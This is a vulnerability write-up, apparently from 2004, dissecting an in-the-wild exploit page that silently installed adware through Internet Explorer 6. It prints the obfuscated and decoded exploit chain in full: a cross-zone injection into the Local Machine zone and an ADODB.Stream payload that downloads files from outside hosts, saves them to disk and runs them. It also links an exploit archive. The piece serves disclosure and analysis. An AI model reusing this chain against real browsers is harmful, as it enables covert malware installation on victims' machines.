An analysis of the 180 Solutions Trojan

Introduction

Just when I though it was save to once more  to use internet explorer I received an  email bringing my attention to this webpage http://216.130.188.219/ei2/installer.htm   that according to him used an exploit that affected fully patched internet explorer 6 browsers. Being rather skeptical I carelessly clicked on the link only to witness how it automatically installed addware on my pc!!!

Now there had been reports about 0day exploits making rounds for quite some time like for instance this post

http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0

However I hadn't seen any evidence to support this up until now
Thor Larholm as usual added to the confusion by deliberately spreading disinformation as seen in this post

http://seclists.org/lists/bugtraq/2004/May/0153.html

attributing it to and I quote "just one of the remaining IE vulnerabilities that are not yet patched"
This analysis will show that there are at least 2 new and afaik unpublished exploits (feel free to proof me wrong) out there in the wild, one being very sophisticated
 

Analysis

Brace yourselves this is some serious handywork The first page we encounter installer.htm looks like this :
<HTML>
<BODY>
<SCRIPT language="JScript.Encode">#@~^/gAAAA==@#@&@#@&7lMP:HVK^P{P[W1Ehn YR^GmmYkKU tM+6i@#@&hz^W^{m.D,'~hHVW^ kwskDcrgE*i@#@&:HDW{mD.P{Phz^Wmcdw^kYvE_D0r#I@#@&@#@&:zVK^P{Phz^WmmCMD,!YI@#@&-mD,:XM+6~',:zD0mCMD$8Di@#@&@#@&-CD,:HVnxLO4PxPvhX^W^ ^+xLO4PRP8f*i@#@&:HVW1P{~:HVGmc/;8kYDvT~sXVULY4#p@#@&wEoAAA==^#~@</SCRIPT>
<Script language="JScript.Encode">#@~^GAIAAA==@#@&\CMPsX/DD,xPvEU+kmC2`JufZkmDb2O]y!^lUo;CT+Y&GY y9C-m/m.raYY yY22YZfu!b6E ^YbWU]y!(UN+mDnNGEDbULINbDnmOrKxY RY O]T9u!bYTG]Tbu{~]TG]Zb]Z,k4WSHGNmV9rmVWTY R] Fh[R4Ys]+GY+;hrx9Ghu /Yy NrC^WLKK2u&) FZ!!Z]l/]2A[kmVGLd+0DY&zOFZTT!u*;]fA[rmVGo_nkTtOY2bFYX;]fA9rmVGTbNY4]2)Fu*/]2AY+y] O VKmlDrGxu&G]+!Y+yLC\mdmMk2Ou&bY+F]fZU/"qK:]y!?"Zuffu*/]lZY+FJ#,QPsXVK^~_,E +dmC2`E/4nV^/^.bwYmsKl[+MmN/ ata]&wDW]2fE#,_~hHD+6~_,Exd^la+vJY*/YlZY FY&A]f/u*Z&j;I(n:Y22YyGu !u ZY y]fAu!9YZb]Z9]Zb]F9Y!G]ZbY&/&km.kaO]22Eb*i@#@&[Km;:UDRAMkD+`sXkOD*i@#@&OZoAAA==^#~@</Script>
<SCRIPT language="JScript.Encode">#@~^VQEAAA==@#@&@#@&6E mYbW ~hbx[WS)lG Ex^Gl9`#@#@&`@#@&@#@&d.+O;Mx~0ms/i@#@&@#@&8@#@&@#@&d+DPb:nKED`JsXbWDm:nR6n^UmDb2YvqxNn^YNGE.kUL"+[kMnmDkGUcYWjOMkUovb*JS8!Z#i@#@&knY:kh+KEOcrd:Hr0Ml: n6mUm.k2OvB(xNnmD+[9!DkUL"+[kMn1YrKxv#B*drSFZFbi@#@&[G1E:UYchDbOn`E@!&s]b\3,q9'szk6DChP1)\A'hXbWMlhPUIZ{JMnNbD w4wE~qqf:u'y!!,u3qVC:'+!T@*@!z(s")HA@*vbp@#@&wmMAAA==^#~@</SCRIPT>
</BODY>
</HTML>
The JavaScript code is encoded using The Windows Script Encoder (screnc.exe), a Microsoft tool that can be used to encode your scripts This encoding only prevents casual viewing of your code and is easily defeated If you've got some minutes to spare  you can write your own decoder or if you're lazy download a precompiled one from here : http://www.virtualconspiracy.com/scrdec.html You'll see this encoding used throughout the entire exploit as a way to obfuscate it's function and avoid detection by virus scanners
<html>
<body>

<script language="javascript">
var myloc = document.location.href;
myloc_arr = myloc.split("?");
myref_arr = myloc.split("?ref");

myloc = myloc_arr[0];
var myref = myref_arr[1];

var mylength = (myloc.length - 13);
myloc = myloc.substr(0,mylength);
</script>

<script language="javascript">
  var mystr =  (unescape("%3Cscript%20language%3D%22Javascript%22%3E%0D%0Afunction%20InjectedDuringRedirection%28%29%0D%0A%0D%0A%7B%0D%0A%09showModalDialog%28%27md.htm%27%2Cwindow%2C%22dialogTop%3A-10000%5C%3BdialogLeft%3A-10000%5C%3BdialogHeight%3A1%5C%3BdialogWidth%3A1%5C%3B%22%29.location%3D%20%22javascript%3A%27%3CSCRIPT%20SRC%3D%5C%5C%27") + myloc + unescape("shellscript_loader_js.php%3Fref%3D") + myref + unescape("%5C%5C%27%3E%3C%5C/script%3E%27%20%20%22%3B%0D%0A%0D%0A%7D%0D%0A%3C/script%3E"));
  document.write(mystr);
</script>

<script language="javascript">
function window::onunload() {
  return false;
}
setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);
setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.php" WIDTH=200 HEIGHT=200></IFRAME>');
</script>

</body>
</html>
There are to things to note going on in this page

1. in the third script block it loads redir.php in an iframe named myiframe

this is a php script that loads ms-its:C:\WINDOWS\Help\iexplore.chm::/iegetsrt.htm In an iframe This shouldn't be happening, from Internet explorer 6 SP1 on access to the local file system is disallowed Looking at the headers it would appears to be a variation of mindwarpers Oct 24 2003 find  the new element being the URL: prefix which makes it work once more

HTTP/1.1 302 Found
Date: Sat, 05 Jun 2004 21:24:19 GMT
Server: Apache/1.3.28 (Unix) mod_fastcgi/2.4.0 PHP/4.3.5
X-Powered-By: PHP/4.3.5
Location: URL:ms-its:C:\WINDOWS\Help\iexplore.chm::/iegetsrt.htm
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
This file is located on the users harddisk, Web pages accessed from the local computer are placed in the Local Machine zone, where they have the fewest security restrictions. since local content is considered to be secure. However a lot of recent exploits have taken advantage of the Local Machine zone to elevate their privileges and compromise a computer. So by now we can see where this is heading, it's the same modus operandi we've seen over and over in the past months, it goes something like this Another thing to note  is that this file is deliberately  not loaded immediately,  it waits about 1,5 seconds before doing the redirect

Now up until now I didn't think there where anymore cross zone scripting exploits around , for sure there hasn't been one reported to bugtraq or any other security related list I am subscribed to (afaik anyway). So let's dig deeper shall we

2. in the second script block it displays a model dialog

mystr is urlencoded when we decoded we get something approximating this

<script language="Javascript">
function InjectedDuringRedirection(){
  showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialogHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT SRC=\\'***MYLOC_HERE***shellscript_loader_js.php?ref=***MYREF_HERE***\\'><\/script>'";

}
</script>
As you can see it's initially loading a file called md.htm in a model dialog this file contains yet even more encoded scripting
<SCRIPT language="JScript.Encode">#@~^7AAAAA==@#@&hr NKhRM+D;D .CV!+~x,hk [WSRNbCsWTbMo;:nUD/I@#@&@#@&6EU^DkWU~;tnm0jDlO!/v#@#@&dP@#@&idODH Onsw.m.'Skx9GAR9kmVGo).TEh+ O/cVG^mYkGUct.+6I)mCDm4`+* Srx9WAR1VGd`#pN@#@&ddknOKb:W;YcE;tnm0jYmY;dv#JSqZ!bi@#@&i8@#@&d@#@&Z4+1V?DlOEk`bI@#@&y0cAAA==^#~@</SCRIPT>
which when we decode it becomes
<SCRIPT language="javascript">
window.returnValue = window.dialogArguments;

function CheckStatus(){
  try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
  setTimeout("CheckStatus()",100);
}

CheckStatus();
</SCRIPT>
Ok lets see what we've got, the dialogargument passed to the function is the current window, it caches this object , and checks every 100 ms if it can access the location object of the window object, if the domain changes it will throw an security exception and the window will close itself
javascript:'<SCRIPT SRC=\\'***MYLOC_HERE***shellscript_loader_js.php?ref=***MYREF_HERE***\\'><\/script>'";
Which means the body of md.htm gets dropped and is replaced by a script include called shellscript_loader_js.php
function getRealShell() {
myiframe.document.write("<SCRIPT SRC='http://216.130.188.219/ei2/shellscript_js.php?ref=undefined'><\/SCRIPT>");
}

document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200 HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);
ok as you can see this script includes another script called shellscript_js.php which looks like this : shellscript_js.php
document.write(
unescape("%3CSCRIPT%20LANGUAGE%3D%22JAVASCRIPT%22%3E%0D%0A%20%20%20%20function%20getPath%28%29%20%7B%20%0D%0A%20%20%20%20/*ending%20with%20%22/%22*/%0D%0A%20%20%20%20return%20%22http://216.130.188.219/ei2%22%3B%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20function%20getRef%28%29%20%7B%20%0D%0A%20%20%20%20/*ending%20with%20%22/%22*/%0D%0A%20%20%20%20return%20%22undefined%22%3B%0D%0A%20%20%20%20%7D%0D%0A%3C/SCRIPT%3E")+
unescape("%3Cscript%20language%3D%22JScript.Encode%22%3E%23@%7E%5EHQQAAA%3D%3D@%23@%26P%7E%2CP1l4alD4P%7BPEZ%3D-wr%09/YmsVcml%28EI@%23@%26P%2CP%7EtOh%5EwCY4%7E%27%2CJ/l%27-kUdDlsVc4D%3AEp@%23@%26PP%2CP1C4%60IJP%7BPE4DYw%3D%26zDWW%5E8CDyRbOsWGV%21w%20mKhzDWGs%28lD+%26SkUN%7F%5E2%20%201l%28Ji@%23@%26%2C%7EP%2CtO%3A%5Ej%5DJ%2C%27PTnYhlY4cbP3PrzrxdOmVsRa4wQDnW%7BJPQ%7ET+OI%7FWv%23I@%23@%26@%23@%26P%2CP%2C-lMPamm4%7Ex%2Cx+S%7Eb1Yk7npr%28L%7FmO%60E%5Cbm.WkG0DRp%5CdCKPKr%23IP@%23@%26%2CP%7E%2C61l4cranxvJ%212%3AJS%5Em4j%22J%7EZ%23i%2C@%23@%26P%2CP%2C6%5El8%20U+UNvbi%2C@%23@%26%7E%2CPP@%23@%26%2CP%7EP7CMPd1l%28P%27%2Cx%7FAPzmOk7+p6%28L+1O%60rbf%7D9%24RUYM+C%3AEbp@%23@%26P%2C%7EPkmC8cHW%5Bn%2C%27%7E%26p@%23@%26P%7E%2CPkml%28R%3Azw%7FPxP8i@%23@%26%2CPP%2Cdmm4R%7D2nxv%23p@%23@%26P%7E%7E%2C/%5El%28%20%7FMkOnv6mC8cDn/aG%09/n%7EW9X%23p@%23@%26%7EP%2CPdmm4%20jm%5C+%3AGsbV+v%5EC4alDtS%20bI@%23@%26%7EP%2C%7E@%23@%26P%7E%7E%2C%5Cl.%7EXtO%3A%2Cx%2CxnSPzmYb%5C%7Fpr%28LnmD%60E%5CbmDKdW6YRo%5CJC%3AKhJbi%7E@%23@%26P%7EP%2CatD%3A%206a+xcEV2PJB4D%3As%60Id%7E%21*i%2C@%23@%26%2CP%7EPXtOhc%3F+%09%5B%60*iP@%23@%26%7EP%2CP@%23@%26%7EP%7E%7E7l.Pk4YsV%7Ex%2Cx+A%7EzmOk7nor8N+1Y%60rbG6f%7ERjYM+Chr%23i@%23@%26P%2CPPk4O%3A%5ERtW%5B+%7Ex%2C%26I@%23@%26%7EP%2CPd4D%3AV%20PHwnP%7B%7E8i@%23@%26P%2CPPktDhVcr2+%09%60bI@%23@%26P%2C%7EPktYss%20%7FMkD+c64OsR.+k2W%09/n%24KNXbI@%23@%26%7EP%2C%7EktOsVc%3Fl7+%3AGsbVn%604YhsalY4S%20*i@%23@%26@%23@%26P%2CP%2ChxhrU9WARK2+%09%60E/%3D--rUkYCV%5E%204Yhr%7E%2CBNK%7BbU/DlsVE%7E%7EvDWW%5E8lM%27%21Bhnx%214mDx%21Sd1DGV%5E8lM/xTB/YCO%21/x%21B.%7F/r.l%28V+%7B%21BAk9Y4%27y%21S4%7Fko4O%27y%21%7E%2COGw%7B%26Z%21T%21S%7E%5E+WY%7Bq%21BBbI@%23@%26P%7E%7E%2C/nV6%20%5EW%5EmYbWxctMn0%2C%27%7EJm4G%3BD%294%5ECx0Ji@%23@%26eiMBAA%3D%3D%5E%23%7E@%3C/script%3E"));
when we urldecode it it looks like this
<SCRIPT language="javascript">
    function getPath() { 
    /*ending with "/"*/
    return "http://216.130.188.219/ei2";
    }

    function getRef() { 
    /*ending with "/"*/
    return "undefined";
    }
</SCRIPT><script language="JScript.Encode">#@~^HQQAAA==@#@&P~,P1l4alD4P{PEZ=-wr /YmsVcml(EI@#@&P,P~tOh^wCY4~',J/l'-kUdDlsVc4D:Ep@#@&PP,P1C4`IJP{PE4DYw=&zDWW^8CDyRbOsWGV!w mKhzDWGs(lD+&SkUN^2  1l(Ji@#@&,~P,tO:^j]J,'PTnYhlY4cbP3PrzrxdOmVsRa4wQDnW{JPQ~T+OIWv#I@#@&@#@&P,P,-lMPamm4~x,x+S~b1Yk7npr(LmO`E\bm.WkG0DRp\dCKPKr#IP@#@&,P~,61l4cranxvJ!2:JS^m4j"J~Z#i,@#@&P,P,6^l8 U+UNvbi,@#@&~,PP@#@&,P~P7CMPd1l(P',xAPzmOk7+p6(L+1O`rbf}9$RUYM+C:Ebp@#@&P,~PkmC8cHW[n,'~&p@#@&P~,Pkml(R:zwPxP8i@#@&,PP,dmm4R}2nxv#p@#@&P~~,/^l( MkOnv6mC8cDn/aG /n~W9X#p@#@&~P,Pdmm4 jm\+:GsbV+v^C4alDtS bI@#@&~P,~@#@&P~~,\l.~XtO:,x,xnSPzmYb\pr(LnmD`E\bmDKdW6YRo\JC:KhJbi~@#@&P~P,atD: 6a+xcEV2PJB4D:s`Id~!*i,@#@&,P~PXtOhc?+ [`*iP@#@&~P,P@#@&~P~~7l.Pk4YsV~x,x+A~zmOk7nor8N+1Y`rbG6f~RjYM+Chr#i@#@&P,PPk4O:^RtW[+~x,&I@#@&~P,Pd4D:V PHwnP{~8i@#@&P,PPktDhVcr2+ `bI@#@&P,~PktYss MkD+c64OsR.+k2W /n$KNXbI@#@&~P,~ktOsVc?l7+:GsbVn`4YhsalY4S *i@#@&@#@&P,P,hxhrU9WARK2+ `E/=--rUkYCV^ 4Yhr~,BNK{bU/DlsVE~~vDWW^8lM'!Bhnx!4mDx!Sd1DGV^8lM/xTB/YCO!/x!B./r.l(V+{!BAk9Y4'y!S4ko4O'y!~,OGw{&Z!T!S~^+WY{q!BBbI@#@&P~~,/nV6 ^W^mYbWxctMn0,'~Jm4G;D)4^Cx0Ji@#@&eiMBAA==^#~@</script>
and when we finally remove the Script encoding it looks like this which we immediately recognize as the adodb.stream issue I reported on Aug 26 2003!! (red. Microsoft where's the patch??)
<script language="javascript">
function getPath() { 
/*ending with "/"*/
return "http://216.130.188.219/ei2";
}

function getRef() { 
/*ending with "/"*/
return "undefined";
}
</script>

<script language="javascript">
cabpath = "C:\\install.cab";
htmlpath = "C:\\install.htm";
cabURL = "http://toolbar2.i-lookup.com/toolbar2/windec32.cab";
htmlURL = getPath() + "/install.php?ref=" + getRef();

var xcab = new ActiveXObject("Microsoft.XMLHTTP"); 
xcab.Open("GET",cabURL,0); 
xcab.Send(); 

var scab = new ActiveXObject("ADODB.Stream");
scab.Mode = 3;
scab.Type = 1;
scab.Open();
scab.Write(xcab.responseBody);
scab.SaveToFile(cabpath,2);

var xhtm = new ActiveXObject("Microsoft.XMLHTTP"); 
xhtm.Open("GET",htmlURL,0); 
xhtm.Send(); 

var shtml = new ActiveXObject("ADODB.Stream");
shtml.Mode = 3;
shtml.Type = 1;
shtml.Open();
shtml.Write(xhtm.responseBody);
shtml.SaveToFile(htmlpath,2);

w=window.open("C:\\install.htm", 'do_install', 'toolbar=0,menubar=0,scrollbars=0,status=0,resizable=0,width=20,height=20, top=30000, left=10,');
self.location.href = "about:blank";
</script>

when ran in the localzone this script would download 2 files to disk and execute them thus installing the ilookup toolbar

http://toolbar2.i-lookup.com/toolbar2/windec32.cab to C:\install.cab
http://216.130.188.219/ei2/install.php to c:\install.htm


Lets reflect on what we've seen and attempt a reconstruction

1. redir.php is requested by the iframe but not immediately loaded because it uses php to create a 1,5 second lag

2. setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);  ,  InjectedDuringRedirection.toString is the text of the function so nothing gets executed, it just gets put on some kind of buffer

3. setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101); calls the function step 2 placed on the buffer

4. This function creates a modal dialog and passes window as dialogargument , now this is where it gets weird, this window object is not the real window object but actually refers to the iframe you just dynamicly created

5. redir.php completes loading and redirects to a local help file

6. md.htm can now no longer access the location object of the iframe , and throws an exception what causes  the modal dialog to close

7 InjectedDuringRedirection now unblocks where it had blocked due to the modal dialog being called, the call returns the iframe from before the redirect changed it's location, it got cached!!, which means we can call all of its methods., the code calls .location="javascript:'<SCRIPT SRC=\\'***MYLOC_HERE***shellscript_loader_js.php?ref=***MYREF_HERE***\\'><\/script>'";
to inject code  in the trusted local resource which has elevated privileges

8. Thru the adodb.stream bug which only works in the local zone, 2 files are downloaded and started


Conclusion

What have we learned?

The trojan uses several known and 2 previously unkown  vulnerabilities in internet explorer
the unknown ones being

1. Location: URL:  allows access to local resources
2. A cross zone access vulnerability

The latter being quite non trivial (whomever created this beast sure knew what he was doing but although I have the utmost respect for your work your still a scumbag for perverting it in this fashion)

to install the ilookup toolbar from  http://toolbar2.i-lookup.com/toolbar2/windec32.cab

 

Demonstation

A cleaned up harmless demonstration of techniques used in this exploit  can be found here

http://62.131.86.111/security/idiots/repro/installer.htm

people who have not installed internet explorer service pack 1 can click here

http://62.131.86.111/security/idiots/repro/sp0/installer.htm

Alternatively you can download the files for the exploit here http://62.131.86.111/security/idiots/repro/exploit.zip